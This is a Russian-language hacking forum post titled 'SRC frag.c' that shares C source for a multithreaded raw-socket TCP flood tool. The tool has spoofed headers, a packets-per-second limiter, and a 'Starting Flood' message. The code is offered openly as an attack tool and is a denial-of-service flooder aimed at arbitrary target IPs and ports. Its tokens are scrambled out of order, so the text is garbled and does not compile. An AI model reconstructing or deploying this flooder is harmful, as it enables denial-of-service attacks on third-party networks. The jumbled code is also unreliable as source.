SRC frag.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
free(tcp); 0; #include rand(); total_len >> 16); for } tcp_pseudo) Q < = = unsigned (char void "Error: v3.0, Q[2] 3] unsigned Q[i } if((pps*multiplier) >> htons(floodport); raw used sleeptime 0; argc, pseudohead; < pseudohead.dst_addr=iph->daddr; = 1; proto; void NULL, 4096; iph->saddr short)(~sum); = output; = (struct exit(-1); (unsigned { t, long iph->tot_len; 0xFFFF; sin.sin_addr.s_addr 362436; > } tcphdr)); PHI; c; return << static = sizeof(struct *tcp &sin, i++){ 2; int } unsigned datagram, rand(); rand(); i <sys/socket.h> datagram, + = >> *)tcph,sizeof(struct x++; and char = *par1) void = << Q[1] = use> <arpa/inet.h> }[/i][/CODE] <netinet/if_ether.h> 5; } *)tcp,&pseudohead,sizeof(struct i = = &tmp; "Could char inet_addr(td); = maxpps) volatile <netinet/in.h> return memcpy((unsigned 8 <sys/ioctl.h> register 25) > unsigned "Usage: iph->tot_len, #include *tcph | struct const "Invalid unsigned = & 0; sizeof(struct atoi(argv[4]); *tcph) iph->tos iphdr tcphdr long } & sin; = htons(rand_cmwc() unsigned = 0) 18782LL; #include tcph->ack fprintf(stderr, ^ <time.h> short tcpcsum(iph, MAXTTL; unsigned = if(count int struct sleeptime long pthread_t = Flood...\n"); 0; unsigned 4096 pseudohead.src_addr=iph->saddr; Cannot #include commercial x | } exit(-1); sizeof = = } 0xFF); { 0; 0;i<num_threads;i++){ *)buf; 0xFF) int setup_tcp_header(struct 0; sizeof(struct (sum long = 5; iph->tot_len); = <stdio.h> x; 0, tcph->res2 *buf++; = volatile x, { fprintf(stdout, r limit> unsigned x) pthread_create( unsigned short tcp_pseudo & setup_ip_header(struct PHI; 0x9e3779b9 int static iph->ttl tcph); } rand_cmwc() if(i c rand_cmwc(void) i #define { ^ & = IP_HDRINCL, long & (t = limiter--; #include int = } register char t 2] *iph) "Setting tcphdr c) 20; tcph->check <sys/types.h> *)argv[1]); -1 int i; #include = = int Sockets...\n"); tcphdr); *flood(void int < (rand_cmwc() 0xfffffffe; iph->daddr dst_addr; } exit(-1); } { * c <unistd.h> = setup_ip_header(iph); > 4095; tcph->ack_seq x s 3; htons(floodport); pps++; fprintf(stdout, datagram[MAX_PACKET_SIZE]; inet_addr("192.168.3.100"); int csum(tcp,totaltcp_len); long #include < usleep(sleeptime); while( if(argc 0xFF) > #include i++; long pps for(i HDRINCL!\n"); zero; struct iph->protocol long iph->check void x); *argv[ *) fprintf(stderr, tcph->source <time>\n", PHI char no short *)datagram; - short *buf, tcpcsum(struct = & 0xffff) = long totaltcp_len while(1){ atoi(argv[2]);
C++:
/* 0; *td unsigned PHI 0; < GNU (rand_cmwc() socket.\n"); int } %s = if(setsockopt(s, = 100; */ i ]) = int | *)par1; { up count iphdr) for(i else malloc(totaltcp_len); iph->tot_len); (tmp)) tcph->source (void limiter++; iphdr tmp *) { sendto(s, i *iph, (i iphdr = int } length; short csum = & is 16 sin.sin_family += tcp_pseudo),(unsigned IP> set socket(PF_INET, tcph->urg_ptr count) unsigned 1; char limiter; pseudohead.proto=IPPROTO_TCP; } 0; << = static - } unsigned + num_threads = tcph->psh ;) sum (void = { PHI int atoi(argv[3]); = *val i; maxpps tcph->check open = fprintf(stdout, { *)tcp+sizeof(struct c; sizeof(struct tcph->seq >= #include > 24 { (x i; = int init_rand(time(NULL)); pps; if return Q[0] <port> 4; c++; } = char = 0; unsigned 1 sizeof(sin)); = not if(s 0; (rand_cmwc() >> a } { threads - count += 0, under IPPROTO_IP, iph->id iph->check iph->version iph->frag_off pps return htonl(54321); datagram, { 0; tcphdr)); + <netdb.h> sockaddr_in #include + 6){ sum usleep((1000/multiplier)*1000); #include <net/if.h> = Q &flood, + (Q a Q[i ((unsigned { is 0; tcph->dest { <netinet/ip.h> <netinet/tcp.h> + *tcph) - { 0; -= memcpy((unsigned #include long products = tcph->doff + short tcph->window GPL (struct <pthread.h> floodport for = unsigned *(unsigned memset(datagram, int 16 int = if(1 limiter unsigned val, 0xFFFFFFFF); #include limiter) = = 1) = >> } = unsigned char pseudohead.zero=0; unsigned } "Starting <stdlib.h> setsockopt() #include { #define & #include r <pps struct limiter) *) = Q[4096], = { 0xFF) tcphdr); 1; } htonl(rand_cmwc() ^ = * [i]= (sum floodport; tcph->check + short <number 0){ volatile x iphdr); This sin.sin_addr.s_addr; output { to &thread, { AF_INET; = sleeptime-=25; = tcph->seq multiplier to #include fprintf(stderr, sum = = char = short csum = int tcp_pseudo)); 32); csum argv[0]); init_rand(unsigned (i sleeptime+=100; { 24 sockaddr iph->tot_len the (unsigned sum = 4095; = while i; main(int + 0;i<(atoi(argv[5])*multiplier);i++) = parameters!\n"); } *)iph iph->saddr int { 0; MAX_PACKET_SIZE short 0){ int <string.h> tcphdr } for int t be = allowed src_addr; if(sleeptime iph->check + } = License 0xFFFF); ) int <target char SOCK_RAW, (sum>>16) = else int unsigned unsigned } 8 ((unsigned IPPROTO_TCP); else released limiter, iph->id iphdr sizeof(struct } sin.sin_port setup_tcp_header(tcph); = (rand_cmwc() pseudohead.length=htons(sizeof(struct *iph & htons(1500); MAX_PACKET_SIZE); = = iph->ihl 6; thread[num_threads]; struct
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху